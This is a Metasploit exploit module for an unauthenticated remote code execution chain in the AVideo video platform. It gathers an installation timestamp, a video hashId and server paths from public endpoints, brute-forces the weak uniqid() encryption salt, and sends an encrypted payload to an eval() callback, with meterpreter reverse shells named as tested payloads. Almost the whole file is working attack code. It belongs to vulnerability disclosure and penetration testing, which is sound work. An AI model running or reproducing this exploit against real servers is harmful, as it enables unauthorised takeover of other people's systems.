##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
require 'time'
require 'tzinfo'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Payload::Php
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'AVideo notify.ffmpeg.json.php Unauthenticated RCE via Salt Discovery',
'Description' => %q{
This module exploits an unauthenticated remote code execution (RCE) vulnerability
in AVideo's notify.ffmpeg.json.php endpoint. The vulnerability stems from a critical
cryptographic weakness in the salt generation mechanism combined with information
disclosure vulnerabilities that allow an attacker to discover the encryption salt
through offline bruteforce.
Root Cause:
During installation, AVideo generates an encryption salt using PHP's uniqid() function,
which is not cryptographically secure. uniqid() generates a 13-character hexadecimal
string composed of: 8 characters for Unix timestamp in hex, and 5 characters for
microseconds in hex (0x00000 to 0xFFFFF = 1,048,576 possible values).
Exploit Chain:
1. Leak installation timestamp from /objects/categories.json.php (public endpoint)
2. Leak video hashId from /objects/videosAndroid.json.php or /plugin/API/get.json.php
3. Leak system root path from posterPortraitPath in video API responses
4. Leak server timezones from /objects/getTimes.json.php
5. Offline bruteforce of the remaining 5 microsecond characters using hashId comparison
6. Use recovered salt to encrypt RCE payload for notify.ffmpeg.json.php eval()
The notify.ffmpeg.json.php endpoint uses decryptString() to decrypt the callback parameter,
which has a fallback mechanism: if decryption with saltV2 (cryptographically secure) fails,
it retries with the old uniqid() salt. This fallback makes the RCE exploitable.
Affected Versions:
AVideo 14.3.1+ (introduced January 7, 2025). Requires: Fallback mechanism in
encrypt_decrypt() (introduced January 15, 2024) and notify.ffmpeg.json.php with
eval($callback) (introduced January 7, 2025).
Note on v20.0: The vendor removed the posterPortraitPath leak but did NOT remove
the legacy salt fallback or eval($callback). RCE remains exploitable using SYSTEM_ROOT.
This vulnerability does not require authentication and can be exploited remotely by any
attacker who can access the AVideo instance.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-34433'], # Unauthenticated RCE via Predictable Salt
['CVE', '2025-34441'], # Information Disclosure: hashId leak
['CVE', '2025-34442'], # Information Disclosure: System Path leak
['URL', 'https://github.com/WWBN/AVideo/pull/10284'],
['URL', 'https://chocapikk.com/posts/2025/avideo-security-vulnerabilities/'],
['URL', 'https://www.vulncheck.com/advisories/avideo-unauthenticated-rce-via-predictable-installation-salt']
],
'Platform' => %w[php unix linux win],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-12-19',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to AVideo', '/']),
OptString.new('SALT', [false, 'Known salt (skips bruteforce)', '']),
OptString.new('SYSTEM_ROOT', [false, 'System root path (fallback if leak fails)', '/var/www/html/AVideo/'])
])
end
def check
gather_info
return CheckCode::Safe('notify.ffmpeg.json.php not found (requires 14.3.1+)') unless @notify_exists
salt_provided = !datastore['SALT'].to_s.empty?
unless salt_provided
return CheckCode::Safe('categories.json.php inaccessible (timestamp leak required)') unless @timestamp_accessible
return CheckCode::Safe('hashId endpoints inaccessible (videosAndroid.json.php or get.json.php required)') unless @hashid_accessible
end
return CheckCode::Appears("Vulnerable version #{@version} detected") if @version && @version >= Rex::Version.new('14.3.1')
return CheckCode::Safe("Version #{@version} requires 14.3.1+") if @version
CheckCode::Appears('Prerequisites met (version unknown)')
end
def exploit
gather_info
fail_with(Failure::Unknown, 'Failed to discover salt') unless discover_salt
callback_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
vprint_status('Executing payload...')
res = send_rce_payload(callback_payload)
return if session_created?
if res&.code == 200
vprint_status("Payload executed (response: #{res.code})")
return
end
error_msg = parse_error_from_response(res)
fail_with(Failure::Unknown, error_msg ? "Exploit failed: #{error_msg}" : "Unexpected response code: #{res&.code}")
end
def parse_error_from_response(res)
return nil unless res&.body
data = JSON.parse(res.body)
return data['msg'] if data['msg'] && !data['msg'].to_s.empty?
return 'Unknown error' if data['error'] == true
nil
rescue JSON::ParserError
nil
end
def gather_info
return if @notify_exists && @timestamp_accessible && @hashid_accessible && @timestamps && @video_info
vprint_status('Gathering target information...')
detect_version
@notify_exists = check_notify_endpoint
@timestamp_accessible = check_endpoint('objects/categories.json.php')
@timestamps ||= get_timestamps if @timestamp_accessible
# get_video_info caches endpoint responses, reused by get_system_root to avoid duplicate requests
@video_info ||= get_video_info
@hashid_accessible = !@video_info.nil?
end
def detect_version
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'follow_redirect' => true })
return unless res&.code == 200
version_match = res.body.match(/Powered by AVideo ® Platform v([\d.]+)/) || res.body.match(/<!--.*?v:([\d.]+).*?-->/m)
return unless version_match && version_match[1]
@version = Rex::Version.new(version_match[1])
vprint_status("Detected AVideo version: #{@version}")
end
def check_endpoint(path)
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, path), 'method' => 'GET' })
res&.code == 200
end
def check_notify_endpoint
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'), 'method' => 'GET' })
return false unless res
res.code == 403 && res.body.to_s.include?('Empty notifyCode')
end
# Fetch server timezones to test multiple uniqid calculations with different offsets
def get_timezones
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'objects', 'getTimes.json.php'),
'method' => 'GET'
})
return [nil, nil] unless res&.code == 200
data = JSON.parse(res.body)
[data['_serverSystemTimezone'], data['_serverDBTimezone']]
rescue StandardError
[nil, nil]
end
# If the default category created at install was deleted, exploit will fail (timestamp not guessable)
def get_timestamps
vprint_status('Leaking installation timestamp...')
system_tz, db_tz = get_timezones
vprint_status("Server timezones: system=#{system_tz}, db=#{db_tz}")
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'objects', 'categories.json.php'), 'method' => 'GET' })
return [] unless res&.code == 200
# Try JSON parsing first, fallback to regex if JSON is invalid
timestamps = parse_timestamps_from_json(res.body, system_tz, db_tz)
return timestamps if timestamps.any?
parse_timestamps_from_regex(res.body, system_tz, db_tz)
end
def parse_timestamps_from_json(body, system_tz, db_tz)
data = JSON.parse(body)
rows = data['rows']
return [] unless rows.is_a?(Array) && !rows.empty?
first_category = rows.min_by { |c| c['id'].to_i }
created = first_category['created']
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp: #{created} -> #{timestamps.first}")
timestamps
rescue JSON::ParserError
[]
end
def parse_timestamps_from_regex(body, system_tz, db_tz)
matches = body.scan(/"id"\s*:\s*(\d+).*?"created"\s*:\s*"([^"]+)"/m)
return [] if matches.empty?
created = matches.min_by { |m| m[0].to_i }[1]
timestamps = datetime_to_timestamps(created, system_tz, db_tz)
vprint_good("Installation timestamp (regex): #{created} -> #{timestamps.first}")
timestamps
end
def datetime_to_timestamps(dt_str, system_tz, db_tz)
dt = Time.strptime(dt_str, '%Y-%m-%d %H:%M:%S')
dt_local = Time.new(dt.year, dt.month, dt.day, dt.hour, dt.min, dt.sec)
timezones = [system_tz, db_tz, 'UTC'].compact.uniq
timezones.map do |tz|
tz_obj = TZInfo::Timezone.get(tz)
format('%x', tz_obj.local_to_utc(dt_local).to_i)
end.uniq
rescue StandardError => e
vprint_error("Error converting datetime: #{e}")
[]
end
def get_system_root
return @system_root if @system_root && !@system_root.empty?
# Try to get from cached endpoint responses first
@system_root = extract_system_root_from_cache
if @system_root
vprint_good("System root leaked: #{@system_root}")
return @system_root
end
# On v20+, path leak is fixed; fallback to SYSTEM_ROOT (default works for Docker instances)
@system_root = datastore['SYSTEM_ROOT']
vprint_status("Using fallback system root: #{@system_root}")
@system_root
end
def extract_system_root_from_cache
pattern = /"poster(?:Portrait|Landscape)Path"\s*:\s*"([^"]+)"/
# Collect all cached response bodies to scan
bodies = (@endpoint_cache || {}).values
bodies.each do |body|
body.scan(pattern).each do |match|
path = match[0].gsub('\\/', '/')
root = find_root_in_path(path)
return root if root
end
end
nil
end
def find_root_in_path(path)
%w[/view/ /videos/ /plugin/].each do |subdir|
return path.split(subdir)[0] + '/' if path.include?(subdir)
end
nil
end
# Fetch video endpoints once and cache responses for reuse (hashId + system_root extraction)
# Note: videosAndroid.json.php can take a long time to load, this is expected
# hashId won't be accessible if no public videos exist on the instance
def get_video_info
vprint_status('Leaking video hashId...')
@endpoint_cache ||= {}
endpoints = [
normalize_uri(target_uri.path, 'objects', 'videosAndroid.json.php'),
normalize_uri(target_uri.path, 'plugin', 'API', 'get.json.php') + '?APIName=video',
normalize_uri(target_uri.path, 'view', 'info.php')
]
endpoints.each do |endpoint|
info = extract_video_info_from_endpoint(endpoint)
return info if info
rescue StandardError => e
vprint_error("Error checking #{endpoint}: #{e}")
end
nil
end
def extract_video_info_from_endpoint(endpoint)
# Use cached response if available
body = @endpoint_cache[endpoint]
unless body
res = send_request_cgi({ 'uri' => endpoint, 'method' => 'GET' })
return nil unless res&.code == 200
body = res.body
@endpoint_cache[endpoint] = body
end
data = JSON.parse(body)
videos = data['videos'] || data.dig('response', 'rows') || (data['response'].is_a?(Array) ? data['response'] : [])
return nil if videos.empty?
video = videos.find { |v| v['id'] && v['hashId'] }
return nil unless video
hash_id = video['hashId']
cipher = hash_id.length < 16 ? 'RC4' : 'AES-128-CBC'
vprint_good("Video ID=#{video['id']}, hashId=#{hash_id} (#{cipher})")
{ id: video['id'].to_i, hash_id: hash_id, cipher: cipher }
end
def compute_hashid(video_id, salt, cipher_type = 'AES-128-CBC')
key = Digest::MD5.hexdigest(salt)[0, 16]
plaintext = video_id.to_s(32)
cipher = OpenSSL::Cipher.new(cipher_type)
cipher.encrypt
cipher.key = key
cipher.iv = key if cipher_type == 'AES-128-CBC'
Rex::Text.encode_base64url(cipher.update(plaintext) + cipher.final)
end
def encrypt_payload(payload)
key = Digest::SHA256.hexdigest(@salt)[0, 32]
iv = Digest::SHA256.hexdigest(@system_root)[0, 16]
cipher = OpenSSL::Cipher.new('AES-256-CBC')
cipher.encrypt
cipher.key = key
cipher.iv = iv
Rex::Text.encode_base64(Rex::Text.encode_base64(cipher.update(payload) + cipher.final))
end
def test_salt_candidate(candidate, video)
compute_hashid(video[:id], candidate, video[:cipher]) == video[:hash_id]
end
def print_bruteforce_progress(ts_idx, timestamps_count, ts_hex, micro, total)
return unless (micro % 100_000).zero? && micro > 0
current = (ts_idx * 0x100000) + micro
pct = (100.0 * current / total).round(1)
formatted_micro = micro.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse
print("%bld%blu[*]%clr [#{ts_idx + 1}/#{timestamps_count}] #{ts_hex}: #{formatted_micro} (#{pct}%)\r")
end
def bruteforce_salt(timestamps, video)
vprint_status("Bruteforcing salt (#{video[:cipher]})...")
start_time = Time.now
total = timestamps.length * 0x100000
timestamps.each_with_index do |ts_hex, ts_idx|
(0...0x100000).each do |micro|
candidate = format('%s%05x', ts_hex, micro)
if test_salt_candidate(candidate, video)
print("\r")
elapsed = (Time.now - start_time).round(2)
vprint_good("Salt found: #{candidate} (in #{elapsed}s)")
return candidate
end
print_bruteforce_progress(ts_idx, timestamps.length, ts_hex, micro, total)
end
end
print("\r")
nil
end
def discover_salt
@salt ||= datastore['SALT'] unless datastore['SALT'].to_s.empty?
if @salt
vprint_good("Using provided salt: #{@salt}")
return get_system_root
end
get_system_root
@timestamps ||= get_timestamps
@video_info ||= get_video_info
return false if @timestamps.empty? || !@video_info
@salt = bruteforce_salt(@timestamps, @video_info)
!@salt.nil?
end
def send_rce_payload(callback_payload)
notify_code = encrypt_payload('valid')
callback = encrypt_payload(callback_payload)
filename = Rex::Text.rand_text_alphanumeric(8..16)
ext = %w[mp4 avi mkv mov webm].sample
full_filename = "#{filename}.#{ext}"
notify_data = {
'avideoPath' => full_filename,
'avideoRelativePath' => full_filename,
'avideoFilename' => filename
}
notify = JSON.generate(notify_data.to_a.shuffle.to_h)
params = {
'notifyCode' => notify_code,
'notify' => notify,
'callback' => callback
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'plugin', 'API', 'notify.ffmpeg.json.php'),
'method' => 'GET',
'vars_get' => params.to_a.shuffle.to_h
})
res
end
end